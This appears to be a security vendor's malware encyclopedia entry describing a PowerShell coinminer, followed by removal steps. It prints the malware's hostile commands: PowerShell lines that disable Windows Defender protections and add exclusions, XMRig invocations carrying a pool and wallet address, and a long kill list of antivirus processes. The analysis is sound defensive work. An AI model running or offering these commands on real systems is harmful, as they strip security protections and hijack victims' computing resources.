Coinminer.PS1.MALXMR.MPJ

 Analysis by: Joshua Paul Ignacio

 ALIASES:

N/A

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Coinminer

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet


This Coinminer arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It deletes files in certain folders, disabling programs and applications from properly running.

  TECHNICAL DETAILS

File Size:

18,435 bytes

File Type:

, PS1

Memory Resident:

No

Initial Samples Received Date:

24 Jan 2020

Payload:

Connects to URLs/IPs, Terminates processes, Disables services

Arrival Details

This Coinminer arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Coinminer adds the following folders:

  • %All User Profile%\x32 → contains the extracted files from win32.zip
  • %All User Profile%\x64 → contains the extracted files from win64.zip

It adds the following processes:

  • For 32-Bit:
    • C:\ProgramData\x32\xmrig-2.3.1-gcc-win32\xmrig-2.3.1-gcc-win32\xmrig-2.3.1\xmrig.exe -o stratum+tcp://pool.{BLOCKED}r.com:7777 -u 42PkwcWLCjheUAaXy2h6CndY9DoKvv4pQ6QogCxgnFFF268ueYNb2FXiLCgQeds64jAytuaXzFTctbsujZYzUuaRVhn8Cjd -p n -k -B --max-cpu-usage=50 --donate-level=0
  • For 64-Bit:
    • C:\ProgramData\x64\xmrig-2.3.1-gcc-win64\xmrig-2.3.1-gcc-win64\xmrig-2.3.1\xmrig.exe -o stratum+tcp://pool.{BLOCKED}r.com:7777 -u 42PkwcWLCjheUAaXy2h6CndY9DoKvv4pQ6QogCxgnFFF268ueYNb2FXiLCgQeds64jAytuaXzFTctbsujZYzUuaRVhn8Cjd -p n -k -B --max-cpu-usage=50 --donate-level=0

Other System Modifications

This Coinminer deletes files in the following folders:

  • %Common Startup%\*

(Note: %Common Startup% is the startup folder for all users, which is usually C:\Documents and Settings\All Users\Start Menu\Programs\Startup on Windows 2000, XP, and Server 2003, or C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, and 8.)

Process Termination

This Coinminer terminates the following services if found on the affected system:

  • AVAST
  • avg
  • mpssvc
  • SamSs
  • SecurityHealthService
  • WdNisSvc
  • WinDefend
  • wscsvc
  • wuauserv

It terminates the following processes if found running in the affected system's memory:

  • _avp32.exe
  • _avpcc.exe
  • _avpm.exe
  • 1e.exe
  • 3.exe
  • aAvgApi.exe
  • AAWTray.exe
  • abmainsv.exe
  • ackwin32.exe
  • adaware.exe
  • Ad-Aware.exe
  • advxdwin.exe
  • agentsvr.exe
  • agentw.exe
  • alertsvc.exe
  • alevir.exe
  • alogserv.exe
  • amon9x.exe
  • andnavapw32.exe
  • anti-trojan.exe
  • antivirservice.exe
  • antivirus.exe
  • ants.exe
  • apimonitor.exe
  • aplica32.exe
  • apvxdwin.exe
  • arr.exe
  • atcon.exe
  • atguard.exe
  • atro55en.exe
  • atupdater.exe
  • atwatch.exe
  • au.exe
  • aupdate.exe
  • autodown.exe
  • auto-protect.nav80try.exe
  • autotrace.exe
  • autoupdate.exe
  • avconsol.exe
  • ave32.exe
  • aveservice.exe
  • avgcc32.exe
  • avgctrl.exe
  • avgemc.exe
  • avgnt.exe
  • avgrsx.exe
  • avgserv.exe
  • avgserv9.exe
  • avguard.exe
  • avgw.exe
  • avkpop.exe
  • avkproxy.exe
  • avkserv.exe
  • avkservice.exe
  • avkwctl9.exe
  • avltmain.exe
  • avnt.exe
  • avp.exe
  • avp32.exe
  • avpcc.exe
  • avpdos32.exe
  • avpm.exe
  • avptc32.exe
  • avpupd.exe
  • avsched32.exe
  • avsynmgr.exe
  • avwin.exe
  • avwin95.exe
  • avwinnt.exe
  • avwupd.exe
  • avwupd32.exe
  • avwupsrv.exe
  • avxmonitor9x.exe
  • avxmonitornt.exe
  • avxquar.exe
  • backweb.exe
  • bargains.exe
  • bd_professional.exe
  • bdss.exe
  • beagle.exe
  • belt.exe
  • bidef.exe
  • bidserver.exe
  • bipcp.exe
  • bipcpevalsetup.exe
  • bisp.exe
  • blackd.exe
  • blackice.exe
  • blink.exe
  • blss.exe
  • bootconf.exe
  • bootwarn.exe
  • borg2.exe
  • bpc.exe
  • brasil.exe
  • bs120.exe
  • bundle.exe
  • bvt.exe
  • ccapp.exe
  • ccevtmgr.exe
  • ccEvtMrg.exe
  • ccpxysvc.exe
  • ccSetMgr.exe
  • cdp.exe
  • cfd.exe
  • cfgwiz.exe
  • cfiadmin.exe
  • cfiaudit.exe
  • cfinet.exe
  • cfinet32.exe
  • clamav.exe
  • claw95.exe
  • claw95cf.exe
  • clean.exe
  • cleaner.exe
  • cleaner3.exe
  • cleanpc.exe
  • click.exe
  • cmd.exe
  • cmd32.exe
  • cmesys.exe
  • cmgrdian.exe
  • cmon016.exe
  • cmstp.exe
  • connectionmonitor.exe
  • cpd.exe
  • cpf9x206.exe
  • cpfnt206.exe
  • ctrl.exe
  • cv.exe
  • cwnb181.exe
  • cwntdwmo.exe
  • datemanager.exe
  • dcomx.exe
  • ddg.exe
  • defalert.exe
  • defscangui.exe
  • defwatch.exe
  • deputy.exe
  • divx.exe
  • dllcache.exe
  • dllreg.exe
  • doors.exe
  • dpf.exe
  • dpfsetup.exe
  • dpps2.exe
  • drwatson.exe
  • drweb32.exe
  • drwebupw.exe
  • dssagent.exe
  • dvp95.exe
  • dvp95_0.exe
  • ecengine.exe
  • efpeadm.exe
  • ekrn.exe
  • emsw.exe
  • ent.exe
  • esafe.exe
  • escanhnt.exe
  • escanv95.exe
  • espwatch.exe
  • ethereal.exe
  • etrustcipe.exe
  • evpn.exe
  • exantivirus-cnet.exe
  • exe.avxw.exe
  • expert.exe
  • explore.exe
  • f-agnt95.exe
  • fameh32.exe
  • fast.exe
  • fch32.exe
  • fih32.exe
  • findviru.exe
  • firewall.exe
  • fnrb32.exe
  • fpavserver.exe
  • fprot.exe
  • f-prot.exe
  • f-prot95.exe
  • fp-win.exe
  • fp-win_trial.exe
  • frw.exe
  • fsaa.exe
  • fsav.exe
  • fsav32.exe
  • fsav530stbyb.exe
  • fsav530wtbyb.exe
  • fsav95.exe
  • fsgk32.exe
  • fsm32.exe
  • fsma.exe
  • fsma32.exe
  • fsmb32.exe
  • f-stopw.exe
  • gator.exe
  • gbmenu.exe
  • gbpoll.exe
  • generics.exe
  • gmt.exe
  • guard.exe
  • guarddog.exe
  • hacktracersetup.exe
  • hbinst.exe
  • hbsrv.exe
  • hotactio.exe
  • hotpatch.exe
  • htlog.exe
  • htpatch.exe
  • hwpe.exe
  • hxdl.exe
  • hxiul.exe
  • iamapp.exe
  • iamserv.exe
  • iamstats.exe
  • ibmasn.exe
  • ibmavsp.exe
  • icload95.exe
  • icloadnt.exe
  • icmon.exe
  • icsupp95.exe
  • icsuppnt.exe
  • idle.exe
  • ie.exe
  • iedll.exe
  • iedriver.exe
  • iee.exe
  • iexplorer.exe
  • iface.exe
  • ifw2000.exe
  • iie
  • ikarus-guardx.exe
  • immunetprotect.exe
  • inetlnfo.exe
  • infus.exe
  • infwin.exe
  • init.exe
  • intdel.exe
  • intren.exe
  • iomon98.exe
  • istsvc.exe
  • jammer.exe
  • jdbgmrg.exe
  • je.exe
  • jedi.exe
  • kavlite40eng.exe
  • kavpers40eng.exe
  • kavpf.exe
  • kazza.exe
  • keenvalue.exe
  • kerio-pf-213-en-win.exe
  • kerio-wrl-421-en-win.exe
  • kerio-wrp-421-en-win.exe
  • kernel32.exe
  • killprocesssetup161.exe
  • klblmain.exe
  • launcher.exe
  • ldnetmon.exe
  • ldpro.exe
  • ldpromenu.exe
  • ldscan.exe
  • lnetinfo.exe
  • loader.exe
  • localnet.exe
  • lockdown.exe
  • lockdown2000.exe
  • lookout.exe
  • lordpe.exe
  • lsetup.exe
  • luall.exe
  • luau.exe
  • lucomserver.exe
  • luinit.exe
  • luspt.exe
  • mapisvc32.exe
  • mcagent.exe
  • mcmnhdlr.exe
  • mcshield.exe
  • mctool.exe
  • mcupdate.exe
  • mcvsrte.exe
  • mcvsshld.exe
  • md.exe
  • mfin32.exe
  • mfw2en.exe
  • mfweng3.02d30.exe
  • mgavrtcl.exe
  • mgavrte.exe
  • mghtml.exe
  • mgui.exe
  • miner.exe
  • minilog.exe
  • mmod.exe
  • monitor.exe
  • moolive.exe
  • mostat.exe
  • mpfagent.exe
  • mpfservice.exe
  • mpftray.exe
  • mrflux.exe
  • msapp.exe
  • MSASCui.exe
  • msbb.exe
  • msblast.exe
  • mscache.exe
  • msccn32.exe
  • mscman.exe
  • msconfig.exe
  • msdm.exe
  • msdos.exe
  • msiexec16.exe
  • msinfo32.exe
  • mslaugh.exe
  • msmgt.exe
  • msmpsvc.exe
  • msmsgri32.exe
  • mssmmc32.exe
  • mssys.exe
  • msvxd.exe
  • mu0311ad.exe
  • mwatch.exe
  • n32scanw.exe
  • nav.exe
  • navap.navapsvc.exe
  • navapsvc.exe
  • navapw32.exe
  • navdx.exe
  • navlu32.exe
  • navnt.exe
  • navstub.exe
  • navw32.exe
  • navwnt.exe
  • nc2000.exe
  • ncinst4.exe
  • ndd32.exe
  • neomonitor.exe
  • neowatchlog.exe
  • netarmor.exe
  • netd32.exe
  • netinfo.exe
  • netmon.exe
  • netscanpro.exe
  • netspyhunter-1.2.exe
  • netstat.exe
  • netutils.exe
  • nisserv.exe
  • nisum.exe
  • nmain.exe
  • nod32.exe
  • normist.exe
  • norton_internet_secu_3.0_407.exe
  • notstart.exe
  • npf40_tw_98_nt_me_2k.exe
  • npfmessenger.exe
  • nprotect.exe
  • npscheck.exe
  • npssvc.exe
  • nsched32.exe
  • nscpucnminer32.exe
  • nssys32.exe
  • nstask32.exe
  • nsupdate.exe
  • nt.exe
  • ntrtscan.exe
  • ntvdm.exe
  • ntxconfig.exe
  • nui.exe
  • nupgrade.exe
  • nvarch16.exe
  • nvc95.exe
  • nvsrvc32.exe
  • nvsvc32.exe
  • nwinst4.exe
  • nwservice.exe
  • nwtool16.exe
  • ollydbg.exe
  • onsrvr.exe
  • optimize.exe
  • ostronet.exe
  • otfix.exe
  • outpost.exe
  • outpostinstall.exe
  • outpostproinstall.exe
  • padmin.exe
  • panixk.exe
  • patch.exe
  • pavcl.exe
  • pavproxy.exe
  • pavsched.exe
  • pavsrv.exe
  • pavw.exe
  • pccwin98.exe
  • pcfwallicon.exe
  • pcip10117_0.exe
  • pcscan.exe
  • pdsetup.exe
  • periscope.exe
  • persfw.exe
  • perswf.exe
  • pf2.exe
  • pfwadmin.exe
  • pgmonitr.exe
  • pingscan.exe
  • platin.exe
  • pop3trap.exe
  • poproxy.exe
  • popscan.exe
  • portdetective.exe
  • portmonitor.exe
  • powerscan.exe
  • ppinupdt.exe
  • pptbc.exe
  • ppvstop.exe
  • prizesurfer.exe
  • prmt.exe
  • prmvr.exe
  • procdump.exe
  • processmonitor.exe
  • procexplorerv1.0.exe
  • programauditor.exe
  • proport.exe
  • protectx.exe
  • pshost.exe
  • pspf.exe
  • purge.exe
  • qconsole.exe
  • qserver.exe
  • rapapp.exe
  • rav7.exe
  • rav7win.exe
  • rav8win32eng.exe
  • ray.exe
  • rb32.exe
  • rcsync.exe
  • realmon.exe
  • reged.exe
  • regedit.exe
  • regedt32.exe
  • rescue.exe
  • rescue32.exe
  • rrguard.exe
  • rshell.exe
  • rtvscan.exe
  • rtvscn95.exe
  • rulaunch.exe
  • run32dll.exe
  • rundll.exe
  • rundll16.exe
  • ruxdll32.exe
  • safeweb.exe
  • sahagent.exe
  • save.exe
  • savenow.exe
  • savscan.exe
  • savservice.exe
  • SBAMSvc.exe
  • sbserv.exe
  • sc.exe
  • scam32.exe
  • scan32.exe
  • scan95.exe
  • scanpm.exe
  • scrscan.exe
  • serv95.exe
  • setup_flowprotector_us.exe
  • setupvameeval.exe
  • sfc.exe
  • sgssfw32.exe
  • sh.exe
  • shellspyinstall.exe
  • shn.exe
  • showbehind.exe
  • smc.exe
  • sms.exe
  • smss32.exe
  • soap.exe
  • sofi.exe
  • sperm.exe
  • spf.exe
  • sphinx.exe
  • spoler.exe
  • spoolcv.exe
  • spoolsv32.exe
  • spyxx.exe
  • srexe.exe
  • srng.exe
  • ss3edit.exe
  • ssg_4104.exe
  • ssgrate.exe
  • st2.exe
  • start.exe
  • stcloader.exe
  • supftrl.exe
  • support.exe
  • supporter5.exe
  • svc.exe
  • svchostc.exe
  • svchosts.exe
  • svshost.exe
  • sweep95.exe
  • sweepnet.sweepsrv.sys.swnetsup.exe
  • symproxysvc.exe
  • symtray.exe
  • sysedit.exe
  • system.exe
  • system32.exe
  • sysupd.exe
  • taskmg.exe
  • taskmgr.exe
  • taskmo.exe
  • taskmon.exe
  • taumon.exe
  • tbscan.exe
  • tc.exe
  • tca.exe
  • tcm.exe
  • tds2-98.exe
  • tds2-nt.exe
  • tds-3.exe
  • teekids.exe
  • tfak.exe
  • tfak5.exe
  • tgbob.exe
  • titanin.exe
  • titaninxp.exe
  • tracert.exe
  • trickler.exe
  • trjscan.exe
  • trjsetup.exe
  • trojantrap3.exe
  • tsadbot.exe
  • tvmd.exe
  • tvtmd.exe
  • undoboot.exe
  • updat.exe
  • update.exe
  • upgrad.exe
  • utpost.exe
  • vbcmserv.exe
  • vbcons.exe
  • vbservprof.exe
  • vbust.exe
  • vbwin9x.exe
  • vbwinntw.exe
  • vcsetup.exe
  • vet32.exe
  • vet95.exe
  • vettray.exe
  • vfsetup.exe
  • vir-help.exe
  • virusmdpersonalfirewall.exe
  • vnlan300.exe
  • vnpc3000.exe
  • vpc32.exe
  • vpc42.exe
  • vpfw30s.exe
  • vptray.exe
  • vscan40.exe
  • vscenu6.02d30.exe
  • vsched.exe
  • vsecomr.exe
  • vshwin32.exe
  • vsisetup.exe
  • vsmain.exe
  • vsmon.exe
  • vsstat.exe
  • vswin9xe.exe
  • vswinntse.exe
  • vswinperse.exe
  • w32dsm89.exe
  • w9x.exe
  • watchdog.exe
  • webdav.exe
  • webscanx.exe
  • webtrap.exe
  • wfindv32.exe
  • whoswatchingme.exe
  • wimmun32.exe
  • win32.exe
  • win32us.exe
  • winactive.exe
  • win-bugsfix.exe
  • windefend.exe
  • window.exe
  • windows.exe
  • wininetd.exe
  • wininitx.exe
  • winlogin.exe
  • winmain.exe
  • winnet.exe
  • winppr32.exe
  • winrecon.exe
  • winservn.exe
  • winssk32.exe
  • winstart.exe
  • winstart001.exe
  • wintsk32.exe
  • winupdate.exe
  • wkufind.exe
  • wnad.exe
  • wnt.exe
  • wradmin.exe
  • wrctrl.exe
  • wsbgate.exe
  • wupdater.exe
  • wupdt.exe
  • wyvernworksfirewall.exe
  • xmrig.exe
  • xpf202en.exe
  • yam.exe
  • zapro.exe
  • zapsetup3001.exe
  • zatutor.exe
  • zonalm2601.exe
  • zonealarm.exe

It terminates processes or services that contain any of the following strings if found running in the affected system's memory:

  • Silence
  • Carbon
  • nscpuminer64
  • mrservicehost
  • servisce
  • miner64
  • thunderplatform
  • xmrig32
  • cpuminer
  • minergate
  • xmrig

Download Routine

This Coinminer connects to the following URL(s) to download its component file(s):

  • For 32-Bit:
    • https://github.com/{BLOCKED}/releases/download/v2.3.1/xmrig-2.3.1-gcc-win32.zip
  • For 64-Bit:
    • https://github.com/{BLOCKED}/releases/download/v2.3.1/xmrig-2.3.1-gcc-win64.zip
    <
  • http://{BLOCKED}l.com/sa/backdoor

It saves the files it downloads using the following names:

  • For 32-Bit:
    • %All User Profile%\win32.zip
  • For 64-Bit:
    • %All User Profile%\win64.zip

Other Details

This Coinminer does the following:

  • win32.zip contains the following files:
  • win64.zip contains the following files:

It executes the following command to disable/stop/delete Windows components:

  • powershell Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Ignore;
  • powershell Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction Ignore;
  • powershell Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction Ignore;
  • powershell Set-MpPreference -DisableIOAVProtection $true -ErrorAction Ignore;
  • powershell Set-MpPreference -DisablePrivacyMode $true -ErrorAction Ignore;
  • powershell Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true -ErrorAction Ignore;
  • powershell Set-MpPreference -DisableArchiveScanning $true -ErrorAction Ignore;
  • powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -ErrorAction Ignore;
  • powershell Set-MpPreference -DisableScriptScanning $true -ErrorAction Ignore;
  • powershell Set-MpPreference -SubmitSamplesConsent 2 -ErrorAction Ignore;
  • powershell Set-MpPreference -MAPSReporting 0 -ErrorAction Ignore;
  • powershell Set-MpPreference -HighThreatDefaultAction 6 -Force -ErrorAction Ignore;
  • powershell Set-MpPreference -ModerateThreatDefaultAction 6 -ErrorAction Ignore;
  • powershell Set-MpPreference -LowThreatDefaultAction 6 -ErrorAction Ignore;
  • powershell Set-MpPreference -SevereThreatDefaultAction 6 -ErrorAction Ignore;
  • powershell Add-MpPreference -ExclusionPath C:\Users\Public\Libraries\ -ErrorAction Ignore;
  • powershell Add-MpPreference -ExclusionPath C:\Users\Public\Libraries -ErrorAction Ignore;
  • powershell Add-MpPreference -ExclusionPath C:\ProgramData\win32.zip -ErrorAction Ignore;
  • powershell Add-MpPreference -ExclusionPath C:\ProgramData\x32\ -ErrorAction Ignore;
  • powershell Add-MpPreference -ExclusionPath C:\ProgramData\win64.zip -ErrorAction Ignore;
  • powershell Add-MpPreference -ExclusionPath C:\ProgramData\x64\ -ErrorAction Ignore;
  • powershell Add-MpPreference -ExclusionPath C:\ProgramData\x64\xmrig-2.3.1-gcc-win64\xmrig-2.3.1-gcc-win64\xmrig-2.3.1 -ErrorAction Ignore;
  • powershell Add-MpPreference -ExclusionPath C:\ProgramData\x32\xmrig-2.3.1-gcc-win32\xmrig-2.3.1-gcc-win32\xmrig-2.3.1 -ErrorAction Ignore;
  • powershell Add-MpPreference -ExclusionProcess "xmrig.exe" -ErrorAction Ignore;
  • powershell Add-MpPreference -ExclusionExtension ".exe" -ErrorAction Ignore;

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.640.05

FIRST VSAPI PATTERN DATE:

24 Jan 2020

VSAPI OPR PATTERN File:

15.641.00

VSAPI OPR PATTERN Date:

25 Jan 2020

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Identify and terminate files detected as Coinminer.PS1.MALXMR.MPJ

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 4

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • For 32-Bit:
    • %All User Profile%\win32.zip
    • %All User Profile%\x32\config.json
    • %All User Profile%\x32\start.cmd
    • %All User Profile%\x32\xmrig.exe
  • For 64-Bit:
    • %All User Profile%\win64.zip
    • %All User Profile%\x64\config.json
    • %All User Profile%\x64\start.cmd
    • %All User Profile%\x64\xmrig.exe

Step 5

Search and delete this folder

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Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
  • For 32-Bit:
    • %All User Profile%\x32
  • For 64-Bit:
    • %All User Profile%\x64

Step 6

Scan your computer with your Trend Micro product to delete files detected as Coinminer.PS1.MALXMR.MPJ. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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